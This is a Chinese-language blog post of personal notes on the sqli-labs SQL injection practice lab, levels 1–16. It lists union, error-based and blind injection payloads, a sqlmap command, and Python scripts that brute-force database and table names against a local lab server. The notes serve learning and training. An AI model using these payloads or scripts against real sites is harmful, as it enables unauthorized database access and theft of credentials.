sqli-libs笔记Page-1(Basic Challenges)
0X00:前言
sqli-labs是一个学习SQL注入的开源平台,共有75中不同类型的注入。源码可到github上搜索sqli-libs找到
0X01:Page-1基础挑战

0X02:每一关的payloads
LV1:
id=1'
id=1' order by 3--
id=-1' union select 1,2,3-- 注:-1
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- //列名
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'-- //表users中的列名
id=-1' union select 1,username,password from users where id=1--
LV2:
id=1'

上一题是 near '1' limit 0,1' at line 1
第二题是数字型注入,没有单引号,payload与1相同
LV3:
id=1'

id=1') or 1=1--
id=1') order by 3--
id=-1') union select 1,2,3-- //注-1
id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
payload和上面相同
LV4:
id=1' //没反应
id=1" //

id=1")

猜测:select * from users where id = ("input") LIMIT 0,1;
id=1") order by 3--
payload和上面相同
LV5:
?id=1'

猜测:select * from uesrs where id = 'input' LIMIT 0,1
?id=1' and '1'='1
有结果:
?id=1' and '1'='2
没有结果:
猜测是bool盲注,我把源码改了-_-返回you are in.....改为YES!!! 没有结果改为NO!!!
?id=1' and length(database())=8-- //得到数据库长度

LV5和LV6都是盲注,lv5是单引号,lv6是双引号
LV5:还可以用报错注入
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
LV7:dump into outfile
使用文件导出
?id=1')) and length(database())=8-- //发现可以用盲注
但是题目的意思是文件
LV8:时间、布尔盲注
?id=1' and payloads
LV9:时间盲注
LV10:时间盲注
LV11:报错注入

paylaods:username和password都存在注入
payloads:
- uname=1&passwd=1'
出现报错

数据库中执行SQL时,因为多了一个单引号而报错,并且程序直接将错误信息输出到了页面,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()
- uname=1passwd=1' union select 1,2#(发现有两列显示错误)
- 数据库:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
- 数据表:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
- 查字段:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1)#
- 字段值:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)#
可以改变limit 的参数查看不同的值,也可以用python爆破处所有值
其他报错注入:一次报错,显示所有的信息,不需要limit,每次只能一行信息
uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
uname=1&passwd=1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a#返回结果:
详细请看这里:
LV12:报错注入
流程与11相同,变化:1")
LV13:报错注入或者盲注
有报错注入,可选择盲注
uname=1%27&passwd=1') or 1=1#
uname=1&passwd=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
盲注:uname=1&passwd=1') or ascii(substr((database()),1,1))>100#
想写脚本的,发现页面返回都是一样的,不知道时间盲注可不可以感觉可以,但是不想弄-_-\-_-
还可以用sqlmap试一下,发现新技能
(1)用burp抓包POST数据,将数据保存到13.txt中
(2)新认识sqlmap的参数 -technique这个参数可以指定sqlmap使用探测技术,默认情况下会使用所有方式
- B: Boolean-based blind SQL injection(布尔型注入)
- E: Error-based SQL injection(报错型注入)
- U: UNION query SQL injection(可联合查询注入)
- S: Stacked queries SQL injection(可多语句查询注入)
- T: Time-based blind SQL injection(基于时间延迟注入)
(3)payload:
python2 sqlmap.py -r "13.txt" --technique E --batch -v 3 --current-db
不过试了一下python2 sqlmap.py --current-db也有答案-_-
LV14:与13基本相同用双引号闭合 1"
LV15:布尔注入,时间盲注
uname=1&passwd=1' or 1=1#
成功登录,试了上面题目的报错注入,都没有报错,题目也提示布尔盲注和时间盲注
uname=1&passwd=1' or left(database(),1)='s'#
还是那个问题,这要都用手注,那岂不是很多。写脚本布尔盲注又不知道怎么分类(返回文本中没有对错,登录成功失败是图片啊,可能我技术不够)。
!!!就在写上句话的时候我看到了两个图片名字不一样哈哈哈哈
下面是获得数据库名和数据表名的脚本,但是一次只能获取一个数据表,获取其他数据表需要改limit后面的参数
#coding=utf-8
import requests
import string
url = 'http://192.168.188.147/sqli-labs/Less-15/'
strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
r=requests.session()
def getdb():
dbname = ''
for i in range(10):
for j in strmes:
payload = "1' or substr(database(),{0},1)='{1}'#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
s = r.post(url,data)
if "flag" in s.text:
dbname += j
print(dbname)
break
def gettable():
tablename=''
for i in range(10):
for j in strmes:
payload = "1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}'#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
s = r.post(url,data)
if "flag" in s.text:
tablename += j
print(tablename)
break
getdb()
gettable()
时间盲注:把布尔盲注的代码差不多,存在的问题也是一次只能查询一个数据表
#coding=utf-8
import requests
import string
url = 'http://192.168.188.147/sqli-labs/Less-15/'
strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
r=requests.session() def getdb():
dbname = ''
for i in range(10):
for j in strmes:
payload = "1' or if(substr(database(),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
try:
s = r.post(url,data,timeout=4)
except:
dbname += j
print(dbname)
break def gettable():
tablename=''
for i in range(10):
for j in strmes:
payload = "1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
try:
s = r.post(url,data,timeout=4)
except:
tablename += j
print(tablename)
break
#getdb()
gettable()
LV16:双引号闭合
注入类型与LV15相同
uname=1&passwd=1") or 1=1#
LV17:
0Xff:总结
未完待续,11题报错注入还没完成,这个报错注入必须要搞定;第七题文件问题还没搞懂;还剩6题没做;还有其他难度。自己效率还是太低了(2019-08-16-19:26:05)
sqli-libs笔记Page-1(Basic Challenges)的更多相关文章
- [IR课程笔记]Page Rank
主要目的: 在网络信息检索中,对每个文档的重要性作出评价. Basic Idea: 如果有许多网页链接到某一个网页,那么这个网页比较重要. 如果某个网页被一个权重较大的网页链接,那么这个网页比较重要. ...
- Xamarin 学习笔记 - Page(页面)
本文翻译自CodeProject文章:https://www.codeproject.com/Articles/1226447/Xamarin-Notes-Xamarin-Forms-Pages 转载 ...
- Spring Security笔记:HTTP Basic 认证
在第一节 Spring Security笔记:Hello World 的基础上,只要把Spring-Security.xml里改一个位置 <http auto-config="true ...
- Vaadin学习笔记——Page、UI和View在用法上的区别
前言 在Vaadin技术框架中会出现三种不同的类,用于架构Web应用.它们分别是:Page.UI.View.本文将对这三者从使用角度进行比较,试图分析三者的异同.本文完全原创,我可不是在强调版权,我只 ...
- SQLi-LABS Page-1(Basic Challenges) Less11-Less22
Less-11 GET - Blind - Time based - double quotes http://10.10.202.112/sqli/Less-11/ 尝试登录: username:a ...
- SQLi-LABS Page-1(Basic Challenges) Less5-Less10
Less5 GET - Double Injection - Single Quotes http://10.10.202.112/sqli/Less-5?id=1 http://10.10.202. ...
- SQLi-LABS Page-1(Basic Challenges) Less1-Less4
Less-1 GET - Error based - Single quotes - Stri http://10.10.202.112/sqli/Less-1?id=1 http://10.10.2 ...
- 【靶场练习_sqli-labs】SQLi-LABS Page-1(Basic Challenges)
GET篇 Less-1: 1.用order by得出待查表里有三个字段 http://192.168.40.165/sqli-labs-master/Less-1/?id=1' order by 3 ...
- Go xmas2020 学习笔记 00-03、Basic Types
00-02-Hello Example. 目录结构. 不一样的Hello World. 巧妙的单元测试. 传入os.Args切片. go mod init. 03-Basic Types. 变量类型与 ...
随机推荐
- C#基础表达式语句详解(上)
本节内容: 1.表达式的定义: 2.各类表达式概览: 3.语句的定义: 4.语句详解: 1.表达式的定义: 1.1什么是表达式: (定义见下图)各类编程语言对表达式的实现不尽相同,但大体上都符合这个定 ...
- Kubernetes 记一次网络请求分析
查看pod,server root @ master ➜ ~ kubectl get po,svc -n irm-server -o wide NAME READY STATUS RESTARTS A ...
- OSI网络七层模型、TCP/IP 模型(四)
OSI 是 Open System Interconnection 的缩写,译为“开放式系统互联”. OSI 模型把网络通信的工作分为 7 层,从下到上分别是物理层.数据链路层.网络层.传输层.会话层 ...
- 使用zeebe DebugHttpExporter 查看zeebe 工作流信息
zeebe 提供了一个DebugHttpExporter 可以方便的查看部署以及wokrflow 运行信息 以下是一个简单的运行试用,同时集成了prometheus,添加了一个简单的grafana d ...
- 【BZOJ3529】[SDOI2014] 数表(莫比乌斯反演)
点此看题面 大致题意: 规定一个\(n*m\)数表中每个数为\(\sum_{d|i,d|j}d\),求数表中不大于\(a\)的数之和. 不考虑限制 我们先不考虑限制,来推一波式子. 首先,易知数表中第 ...
- [LeetCode] 221. Maximal Square 最大正方形
Given a 2D binary matrix filled with 0's and 1's, find the largest square containing all 1's and ret ...
- Java 并发系列之八:java 并发工具(4个)
1. CountDownLatch 2. CyclicBarrier 3. Semaphore 4. Exchanger 5. txt java 并发工具 通俗理解 CountDownLatch 等A ...
- SpringBoot第十九篇:邮件服务
作者:追梦1819 原文:https://www.cnblogs.com/yanfei1819/p/11118340.html 版权声明:本文为博主原创文章,转载请附上博文链接! 引言 邮件的重要 ...
- Beta冲刺(6/7)——2019.5.28
作业描述 课程 软件工程1916|W(福州大学) 团队名称 修!咻咻! 作业要求 项目Beta冲刺(团队) 团队目标 切实可行的计算机协会维修预约平台 开发工具 Eclipse 团队信息 队员学号 队 ...
- scala中分组的算子的用法
val rdd= sc.parallelize(List(("tom",1),("jerry",3),("kitty",2),(" ...
